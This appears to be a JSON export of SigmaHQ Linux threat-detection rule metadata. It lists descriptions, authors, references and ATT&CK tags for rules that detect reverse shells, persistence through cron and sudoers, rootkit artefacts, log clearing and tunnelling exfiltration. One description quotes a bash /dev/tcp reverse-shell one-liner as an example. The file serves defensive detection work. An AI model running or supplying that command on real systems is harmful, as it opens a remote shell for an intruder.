        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.andreafortuna.org/2021/03/06/some-useful-tips-about-dev-tcp/",
          "https://book.hacktricks.xyz/shells/shells/linux",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-1---port-scan",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_dev_tcp.yml"
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          "attack.reconnaissance"
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      "uuid": "6cc5fceb-9a71-4c23-aeeb-963abe0b279c",
      "value": "Suspicious Use of /dev/tcp"
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      "description": "Detects shellshock expressions in log files",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_shellshock.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shellshock.yml"
        ],
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          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
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      "description": "Detects the use of tools that copy files from or to remote systems",
      "meta": {
        "author": "Ömer Günal",
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        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "lnx_file_copy.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://attack.mitre.org/techniques/T1105/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_file_copy.yml"
        ],
        "tags": [
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          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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      "value": "Remote File Copy"
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    {
      "description": "Detects suspicious shell commands used in various Equation Group scripts and tools",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_apt_equationgroup_lnx.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.g0020",
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      },
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          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
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      "value": "Equation Group Indicators"
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      "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/04/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_symlink_etc_passwd.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
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          "https://www.qualys.com/2021/05/04/21nails/21nails.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml"
        ],
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      "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523",
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      "description": "Detects the presence of \"bpf_probe_write_user\" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.",
      "meta": {
        "author": "Red Canary (idea), Nasreddine Bencherchali",
        "creation_date": "2023/01/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_potential_susp_ebpf_activity.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://man7.org/linux/man-pages/man7/bpf-helpers.7.html",
          "https://redcanary.com/blog/ebpf-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_potential_susp_ebpf_activity.yml"
        ],
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      "uuid": "0fadd880-6af3-4610-b1e5-008dc3a11b8a",
      "value": "Potential Suspicious BPF Activity - Linux"
    },
    {
      "description": "Detects specific commands commonly used to remove or empty the syslog",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
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        "falsepositive": [
          "Log rotation"
        ],
        "filename": "lnx_clear_syslog.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml"
        ],
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      "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3",
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    },
    {
      "description": "Detects buffer overflow attempts in Unix system log files",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_buffer_overflows.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml"
        ],
        "tags": [
          "attack.t1068",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
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      "value": "Buffer Overflow Attempts"
    },
    {
      "description": "Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/04/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_shell_susp_rev_shells.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://alamot.github.io/reverse_shells/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml"
        ],
        "tags": [
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      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
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      "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab",
      "value": "Suspicious Reverse Shell Command Line"
    },
    {
      "description": "Detects suspicious log entries in Linux log files",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_shell_susp_log_entries.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml"
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        ]
      },
      "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1",
      "value": "Suspicious Log Entries"
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    {
      "description": "Detects the addition of a new user to a privileged group such as \"root\" or \"sudo\"",
      "meta": {
        "author": "Pawel Mazur",
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        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "lnx_privileged_user_creation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid",
          "https://linux.die.net/man/8/useradd",
          "https://digital.nhs.uk/cyber-alerts/2018/cc-2825",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_privileged_user_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.001",
          "attack.t1098"
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      },
      "related": [
        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
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        },
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
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          "type": "related-to"
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      "uuid": "0ac15ec3-d24f-4246-aa2a-3077bb1cf90e",
      "value": "Privileged User Has Been Created"
    },
    {
      "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)",
      "meta": {
        "author": "Bhabesh Raj",
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          "Unknown"
        ],
        "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/",
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        ],
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          "attack.privilege_escalation",
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      },
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        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
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      ],
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    },
    {
      "description": "Detects suspicious command sequence that JexBoss",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_susp_jexboss.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A",
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        ],
        "tags": [
          "attack.execution",
          "attack.t1059.004"
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      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
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          ],
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      ],
      "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae",
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    },
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      "description": "Detects space after filename",
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        "author": "Ömer Günal",
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        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://attack.mitre.org/techniques/T1064",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml"
        ],
        "tags": [
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      "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7",
      "value": "Space After Filename"
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      "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
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          "Rare temporary workaround for library misconfiguration"
        ],
        "filename": "lnx_ldso_preload_injection.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://man7.org/linux/man-pages/man8/ld.so.8.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825",
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      ],
      "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684",
      "value": "Code Injection by ld.so Preload"
    },
    {
      "description": "Detects suspicious shell commands used in various exploit codes (see references)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/08/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_shell_susp_commands.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb",
          "https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html",
          "http://pastebin.com/FtygZ1cg",
          "https://artkond.com/2017/03/23/pivoting-guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml"
        ],
        "tags": [
          "attack.execution",
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      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
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      "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695",
      "value": "Suspicious Activity in Shell Commands"
    },
    {
      "description": "Clear command history in linux which is used for defense evasion.",
      "meta": {
        "author": "Patrick Bareiss",
        "creation_date": "2019/03/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_shell_clear_cmd_history.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.hackers-arise.com/post/2016/06/20/covering-your-bash-shell-tracks-antiforensics",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.003"
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      },
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        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
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      "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e",
      "value": "Clear Command History"
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    {
      "description": "Detects suspicious session with two users present",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/07/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_guacamole_susp_guacamole.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://research.checkpoint.com/2020/apache-guacamole-rce/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1212"
        ]
      },
      "related": [
        {
          "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
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      ],
      "uuid": "1edd77db-0669-4fef-9598-165bda82826d",
      "value": "Guacamole Two Users Sharing Session Anomaly"
    },
    {
      "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/07/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_vsftpd_susp_error_messages.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/dagwieers/vsftpd/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1190"
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      },
      "related": [
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe",
      "value": "Suspicious VSFTPD Error Messages"
    },
    {
      "description": "Detects relevant ClamAV messages",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_clamav_relevant_message.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
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    },
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      "description": "Detects suspicious modification of crontab file.",
      "meta": {
        "author": "Pawel Mazur",
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          "Legitimate modification of crontab"
        ],
        "filename": "lnx_cron_crontab_file_modification.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md",
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        ],
        "tags": [
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          "attack.t1053.003"
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      },
      "related": [
        {
          "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
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      "value": "Modifying Crontab"
    },
    {
      "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs",
      "meta": {
        "author": "Sreeman",
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          "Unknown"
        ],
        "filename": "lnx_auth_pwnkit_local_privilege_escalation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://twitter.com/wdormann/status/1486161836961579020",
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        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548.001"
        ]
      },
      "related": [
        {
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      ],
      "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9",
      "value": "PwnKit Local Privilege Escalation"
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      "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_sshd_ssh_cve_2018_15473.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/Rhynorater/CVE-2018-15473-Exploit",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_ssh_cve_2018_15473.yml"
        ],
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          "attack.t1589"
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        {
          "dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
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      ],
      "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da",
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      "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_sshd_susp_ssh.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c",
          "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml"
        ],
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      "related": [
        {
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      ],
      "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc",
      "value": "Suspicious OpenSSH Daemon Error"
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    {
      "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "Unlikely"
        ],
        "filename": "lnx_sudo_cve_2019_14287_user.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://access.redhat.com/security/cve/cve-2019-14287",
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          "https://www.openwall.com/lists/oss-security/2019/10/14/1",
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        ],
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        {
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      ],
      "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858",
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    },
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_syslog_susp_named.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml",
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        ],
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      "description": "Detects disabling security tools",
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        "creation_date": "2020/06/17",
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          "Legitimate administration activities"
        ],
        "filename": "lnx_syslog_security_tools_disabling_syslog.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md",
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        ],
        "tags": [
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      },
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          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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          "type": "related-to"
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      ],
      "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36",
      "value": "Disabling Security Tools - Builtin"
    },
    {
      "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "Any legitimate cron file."
        ],
        "filename": "file_event_lnx_persistence_cron_files.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_cron_files.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05",
      "value": "Persistence Via Cron Files"
    },
    {
      "description": "Detects the use of wget to download content in a temporary directory such as \"/tmp\" or \"/var/tmp\"",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Legitimate downloads of files in the tmp folder."
        ],
        "filename": "file_event_lnx_wget_download_file_in_tmp_dir.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_wget_download_file_in_tmp_dir.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "35a05c60-9012-49b6-a11f-6bab741c9f74",
      "value": "Wget Creating Files in Tmp Directory"
    },
    {
      "description": "Detects the creation of shell scripts under the \"profile.d\" path.",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Legitimate shell scripts in the \"profile.d\" directory could be common in your environment. Apply additional filter accordingly via \"image\", by adding specific filenames you \"trust\" or by correlating it with other events.",
          "Regular file creation during system update or software installation by the package manager"
        ],
        "filename": "file_event_lnx_susp_shell_script_under_profile_directory.yml",
        "level": "low",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_susp_shell_script_under_profile_directory.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "13f08f54-e705-4498-91fd-cce9d9cee9f1",
      "value": "Potentially Suspicious Shell Script Creation in Profile Folder"
    },
    {
      "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/05",
        "falsepositive": [
          "Creation of legitimate files in sudoers.d folder part of administrator work"
        ],
        "filename": "file_event_lnx_persistence_sudoers_files.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_sudoers_files.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.003"
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        {
          "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d",
      "value": "Persistence Via Sudoers Files"
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    {
      "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_lnx_triple_cross_rootkit_lock_file.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_lock_file.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44",
      "value": "Triple Cross eBPF Rootkit Default LockFile"
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      "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_lnx_triple_cross_rootkit_persistence.yml",
        "level": "high",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1053.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f",
      "value": "Triple Cross eBPF Rootkit Default Persistence"
    },
    {
      "description": "Detects the creation of doas.conf file in linux host platform.",
      "meta": {
        "author": "Sittikorn S, Teoderick Contreras",
        "creation_date": "2022/01/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "file_event_lnx_doas_conf_creation.yml",
        "level": "medium",
        "logsource.category": "file_event",
        "logsource.product": "linux",
        "refs": [
          "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/",
          "https://www.makeuseof.com/how-to-install-and-use-doas/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_doas_conf_creation.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548"
        ]
      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681",
      "value": "Linux Doas Conf File Creation"
    },
    {
      "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/11/03",
        "falsepositive": [
          "Legitimate use of ngrok"
        ],
        "filename": "net_connection_lnx_ngrok_tunnel.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "linux",
        "refs": [
          "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent",
          "https://twitter.com/hakluke/status/1587733971814977537/photo/1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.command_and_control",
          "attack.t1567",
          "attack.t1568.002",
          "attack.t1572",
          "attack.t1090",
          "attack.t1102",
          "attack.s0508"
        ]
      },
      "related": [
        {
          "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6",
      "value": "Communication To Ngrok Tunneling Service - Linux"
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    {
      "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/10/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_lnx_back_connect_shell_dev.yml",
        "level": "critical",
        "logsource.category": "network_connection",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.004"
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      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871",
      "value": "Linux Reverse Shell Indicator"
    },
    {
      "description": "Detects process connections to a Monero crypto mining pool",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/10/26",
        "falsepositive": [
          "Legitimate use of crypto miners"
        ],
